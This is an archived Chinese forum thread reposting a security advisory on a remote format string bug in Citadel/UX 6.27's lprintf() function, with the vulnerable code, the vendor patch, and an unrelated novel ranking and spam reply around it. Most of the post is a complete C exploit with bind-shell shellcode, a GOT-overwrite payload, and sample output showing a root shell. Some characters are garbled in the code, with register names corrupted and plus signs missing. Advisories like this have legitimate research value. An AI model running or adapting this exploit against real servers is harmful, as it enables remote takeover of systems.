全球中文小说排行榜Top10
第1名:江山美人志
第2名:邪神传说
第3名:升龙道

第4名:猛龙过江
第5名:网游-梦幻现实
第6名:寸芒
第7名:网游之职业人生

第8名:空速星痕
第9名:神|魔
第10名:至尊无赖

查看完整版本: Citadel/UX远程格式串漏洞

枫情绝舞 2006-5-9 10:54

Citadel/UX远程格式串漏洞

受影响系统:
Citadel/UX Citadel/UX 6.27
描述:
--------------------------------------------------------------------------------
Citadel/UX是一款开放源代码的BBS程序,使用在Linux、BSD、Solaris和其他Unix系统平台上,最近的Citadel/UX版本包含对Email的支持,可以通过POP3、IMAP、SMTP进行通信。  Citadel/UX的sysdep.c中的lprintf()函数存在格式串问题,远程攻击者可以利用这个漏洞进行拒绝服务攻击或以进程权限执行任意指令。  问题存在于sysdep.c中的lprintf()函数中,当不正确参数传递给syslog()函数时可导致拒绝服务,精心构建提交数据可以以进程权限执行任意指令。其中问题代码如下:  ---------- sysdep.c ----------
108: void lprintf(enum LogLevel loglevel, const char *format, ...) {
109: va_list arg_ptr;
110: char buf[SIZ];
111:
112: va_start(arg_ptr, format);
113: vsnprintf(buf, sizeof(buf), format, arg_ptr);
114: va_end(arg_ptr);
115:
116: if (syslog_facility >= 0) {
117: if (loglevel <= verbosity) {
118: /* Hackery -IO */
119: if (CC && CC->cs_pid) {
120: memmove(buf   6, buf, sizeof(buf) - 6);
121: snprintf(buf, 6, "[=]", CC->cs_pid);
122: buf[5] = ' ';
123: }
124: syslog(loglevel, buf); // <-- the format bug
125: }
126: }
---------- sysdep.c ----------  <*来源:CoKi ([email]coki@nosystem.com.ar[/email])  链接:[url]http://marc.theaimsgroup.com/?l=bugtraq&m=110295469430696&w=2[/url]
*>  测试方法:
--------------------------------------------------------------------------------  警 告  以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!  CoKi ([email]coki@nosystem.com.ar[/email])提供了如下测试方法:  /* citadel_fsexp.c
*
* Citadel/UX v6.27 remote format string exploit
*
* Use: ./citadel_fsexp -h [options]
*
* options:
* -h host or IP
* -t type of target system
* -l targets list
* -g syslog GOT address
* -r RET address
*
* coki@nosystem:"/audit$ ./citadel_fsexp -h localhost -t0
*
* Citadel/UX v6.27 remote format string exploit
* by CoKi
*
* [*] host : localhost
* [*] system : Slackware Linux 10.0
* [*] syslog GOT address : 0x0809e9e8
* [*] RET address : 0xbfffd5fa
*
* [ ] verifying host... OK
* [ ] conecting... OK
* [ ] building exploit... OK
* [ ] sending exploit... OK
*
* [ ] waiting for shell...
* [ ] connecting to shell... OK
*
* [!] you have a shell :)
*
* Linux nosystem 2.4.26 #29 Mon Jun 14 19:22:30 PDT 2004 i686 unknown unknown GNU/Linux
* uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy)
*
*
* Tested in Slackware 10.0
*
* by CoKi
* No System Group - [url]http://www.nosystem.com.ar[/url]
*/  #include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include   #define BUFFERSIZE 1024
#define ERROR -1
#define TIMEOUT 3
#define PORT 504
#define SHELL 5074  int connect_timeout(int sfd, struct sockaddr *serv_addr,
socklen_t addrlen, int timeout);
int check(unsigned long addr);
void use(char *program);
void printlist(void);
void shell(char *host, int port);  char shellcode[] = /* 92 bytes by s0t4ipv6 */
"\x31\xc0" // xorl 陎,陎
"\x50" // pushl 陎
"\x40" // incl 陎
"\x89\xc3" // movl 陎,離
"\x50" // pushl 陎
"\x40" // incl 陎
"\x50" // pushl 陎
"\x89\xe1" // movl %esp,靫
"\xb0\x66" // movb $0x66,%al
"\xcd\x80" // int $0x80
"\x31\xd2" // xorl 韝,韝
"\x52" // pushl 韝
"\x66\x68\x13\xd2" // pushw $0xd213
"\x43" // incl 離
"\x66\x53" // pushw %bx
"\x89\xe1" // movl %esp,靫
"\x6a\x10" // pushl $0x10
"\x51" // pushl 靫
"\x50" // pushl 陎
"\x89\xe1" // movl %esp,靫
"\xb0\x66" // movb $0x66,%al
"\xcd\x80" // int $0x80
"\x40" // incl 陎
"\x89\x44\x24\x04" // movl 陎,0x4(%esp,1)
"\x43" // incl 離
"\x43" // incl 離
"\xb0\x66" // movb $0x66,%al
"\xcd\x80" // int $0x80
"\x83\xc4\x0c" // addl $0xc,%esp
"\x52" // pushl 韝
"\x52" // pushl 韝
"\x43" // incl 離
"\xb0\x66" // movb $0x66,%al
"\xcd\x80" // int $0x80
"\x93" // xchgl 陎,離
"\x89\xd1" // movl 韝,靫
"\xb0\x3f" // movb $0x3f,%al
"\xcd\x80" // int $0x80
"\x41" // incl 靫
"\x80\xf9\x03" // cmpb $0x3,%cl
"\x75\xf6" // jnz
"\x52" // pushl 韝
"\x68\x6e\x2f\x73\x68" // pushl $0x68732f6e
"\x68\x2f\x2f\x62\x69" // pushl $0x69622f2f
"\x89\xe3" // movl %esp,離
"\x52" // pushl 韝
"\x53" // pushl 離
"\x89\xe1" // movl %esp,靫
"\xb0\x0b" // movb $0xb,%al
"\xcd\x80" // int $0x80
;  struct {
char *os;
int got;
int ret;
}targets[] =
{"Slackware Linux 10.0", 0x0809e9e8, 0xbfffd5fa};  int main(int argc, char *argv[]) {
char buffer[BUFFERSIZE], temp[BUFFERSIZE];
char opt, *host=NULL, *system=NULL, *p;
int sockfd, i, retaddr=0, gotaddr=0, targetnum=0;
unsigned int bal1, bal2, bal3, bal4;
int cn1, cn2, cn3, cn4;
struct hostent *he;
struct sockaddr_in dest_dir;  printf("\n Citadel/UX v6.27 remote format string exploit\n");
printf(" by CoKi \n\n");  while ((opt = getopt(argc,argv,"h:g:r:t:l")) != EOF) {
switch (opt) {
case 'h':
host = optarg;
break;
case 'g':
gotaddr = strtoul(optarg,NULL,0);
break;
case 'r':
retaddr = strtoul(optarg,NULL,0);
break;
case 't':
targetnum = atoi(optarg);
if(targetnum != 0) {
printf(" invalid target number!\n\n");
exit(0);
}
system = targets[targetnum].os;
gotaddr = targets[targetnum].got;
retaddr = targets[targetnum].ret;
break;
case 'l':
printlist();
break;
default:
use(argv[0]);
break;
}
}  if(host == NULL) use(argv[0]);
if(gotaddr == 0 || retaddr == 0) use(argv[0]);
if(system == NULL) system = "unknown";  printf(" [*] host\t\t\t: %s\n", host);
printf(" [*] system\t\t\t: %s\n", system);
printf(" [*] syslog GOT address\t\t: 0p\n", gotaddr);
printf(" [*] RET address\t\t: 0p\n\n", retaddr);  printf(" [ ] verifying host...\t\t");
fflush(stdout);  if((he=gethostbyname(host)) == NULL) {
herror("Error");
printf("\n");
exit(1);
}   printf("OK\n");  if((sockfd=socket(AF_INET, SOCK_STREAM, 0)) == ERROR) {
perror("Error");
printf("\n");
exit(1);
}  dest_dir.sin_family = AF_INET;
dest_dir.sin_port = htons(PORT);
dest_dir.sin_addr = *((struct in_addr *)he->h_addr);
bzero(&(dest_dir.sin_zero), 8);  printf(" [ ] conecting...\t\t");
fflush(stdout);  if(connect_timeout(sockfd, (struct sockaddr *)&dest_dir,
sizeof(struct sockaddr), TIMEOUT) == ERROR) {  printf("Closed\n\n");
exit(1);
}  printf("OK\n");  printf(" [ ] building evil buffer...\t");
fflush(stdout);  bzero(buffer, sizeof(buffer));
strcat(buffer, "x");  for(i = 0; i < 4; i  ) {
bzero(temp, sizeof(temp));
sprintf(temp, "%s", &gotaddr);
strncat(buffer, temp, 4);
gotaddr  ;
}  bal1 = (retaddr & 0xff000000) >> 24;
bal2 = (retaddr & 0x00ff0000) >> 16;
bal3 = (retaddr & 0x0000ff00) >> 8;
bal4 = (retaddr & 0x000000ff);  cn1 = bal4 - 16 - 1 - 15 - 50 - 92;
cn1 = check(cn1);
cn2 = bal3 - bal4;
cn2 = check(cn2);
cn3 = bal2 - bal3;
cn3 = check(cn3);
cn4 = bal1 - bal2;
cn4 = check(cn4);  p = buffer;
p  = 17;  memset(p, '\x90', 50);  strcat(buffer, shellcode);  sprintf(temp, "%%%du%'$n%%%du%($n%%%du%)$n%%%du%0$n", cn1, cn2, cn3, cn4);  strcat(buffer, temp);
bzero(temp, sizeof(temp));  printf("OK\n");  printf(" [ ] sending evil buffer...\t");
fflush(stdout);  recv(sockfd, temp, sizeof(temp), 0);
send(sockfd, buffer, strlen(buffer), 0);
send(sockfd, "\n", 1, 0);
close(sockfd);  printf("OK\n\n");  printf(" [ ] waiting for shell...\n");
fflush(stdout);
sleep(2);  shell(host, SHELL);
}  int connect_timeout(int sfd, struct sockaddr *serv_addr,
socklen_t addrlen, int timeout) {  int res, slen, flags;
struct timeval tv;
struct sockaddr_in addr;
fd_set rdf, wrf;  fcntl(sfd, F_SETFL, O_NONBLOCK);  res = connect(sfd, serv_addr, addrlen);  if (res >= 0) return res;  FD_ZERO(&rdf);
FD_ZERO(&wrf);  FD_SET(sfd, &rdf);
FD_SET(sfd, &wrf);
bzero(&tv, sizeof(tv));
tv.tv_sec = timeout;  if (select(sfd   1, &rdf, &wrf, 0, &tv) <= 0)
return -1;  if (FD_ISSET(sfd, &wrf) || FD_ISSET(sfd, &rdf)) {
slen = sizeof(addr);
if (getpeername(sfd, (struct sockaddr*)&addr, &slen) == -1)
return -1;  flags = fcntl(sfd, F_GETFL, NULL);
fcntl(sfd, F_SETFL, flags & "O_NONBLOCK);  return 0;
}  return -1;
}  int check(unsigned long addr) {
char tmp[128];
snprintf(tmp, sizeof(tmp), "%d", addr);
if(atoi(tmp) < 1)
addr = addr   256;  return addr;
}  void use(char *program) {
printf(" Use: %s -h [options]\n", program);
printf("\n options:\n");
printf(" -h host or IP\n");
printf(" -t type of target system\n");
printf(" -l targets list\n");
printf(" -g syslog GOT address\n");
printf(" -r RET address\n\n");
exit(1);
}  void printlist(void) {
printf(" targets\n");
printf(" -------\n\n");
printf(" [0] %s\n\n", targets[0].os);
exit(0);
}  void shell(char *host, int port) {
int sockfd, n;
char buff[BUFFERSIZE];
fd_set readfs;
struct hostent *he;
struct sockaddr_in dest_dir;  printf(" [ ] connecting to shell...\t");
fflush(stdout);  if((he=gethostbyname(host)) == NULL) {
herror("Error");
printf("\n");
exit(1);
}   if((sockfd=socket(AF_INET, SOCK_STREAM, 0)) == ERROR) {
perror("Error");
printf("\n");
exit(1);
}  dest_dir.sin_family = AF_INET;
dest_dir.sin_port = htons(port);
dest_dir.sin_addr = *((struct in_addr *)he->h_addr);
bzero(&(dest_dir.sin_zero), 8);  if(connect_timeout(sockfd, (struct sockaddr *)&dest_dir,
sizeof(struct sockaddr), TIMEOUT) == ERROR) {  printf("Closed\n\n");
printf(" [-] failed! perhaps the target has down...\n\n");
exit(1);
}  printf("OK\n\n");  printf(" [!] you have a shell :)\n\n");
fflush(stdout);  send(sockfd, "uname -a; id;\n", 14, 0);  while(1) {
FD_ZERO(&readfs);
FD_SET(0, &readfs);
FD_SET(sockfd, &readfs);
if(select(sockfd 1, &readfs, NULL, NULL, NULL) < 1) exit(0);
if(FD_ISSET(0,&readfs)) {
if((n = read(0,buff,sizeof(buff))) < 1)
exit(0);
if(send(sockfd, buff, n, 0) != n) exit(0);
}
if(FD_ISSET(sockfd,&readfs)) {
if((n = recv(sockfd, buff, sizeof(buff), 0)) < 1) exit(0);
write(1, buff, n);
}
}
}  建议:
--------------------------------------------------------------------------------
厂商补丁:  Citadel/UX
----------
补丁下载:  --- sysdep.c 2004-11-03 17:19:00.000000000 -0300
    sysdep.c 2004-12-12 13:14:12.000000000 -0300
@@ -121,7  121,7 @@
snprintf(buf, 6, "[=]", CC->cs_pid);
buf[5] = ' ';
}
- syslog(loglevel, buf);
  syslog(loglevel, "%s", buf);
}
}
else if (loglevel <= verbosity) {

klkovor 2006-11-25 02:08

【新疆论坛_新疆之家_新疆社区】新疆人的网上家园

*** 作者被禁止或删除 内容自动屏蔽 ***
页: [1]
查看完整版本: Citadel/UX远程格式串漏洞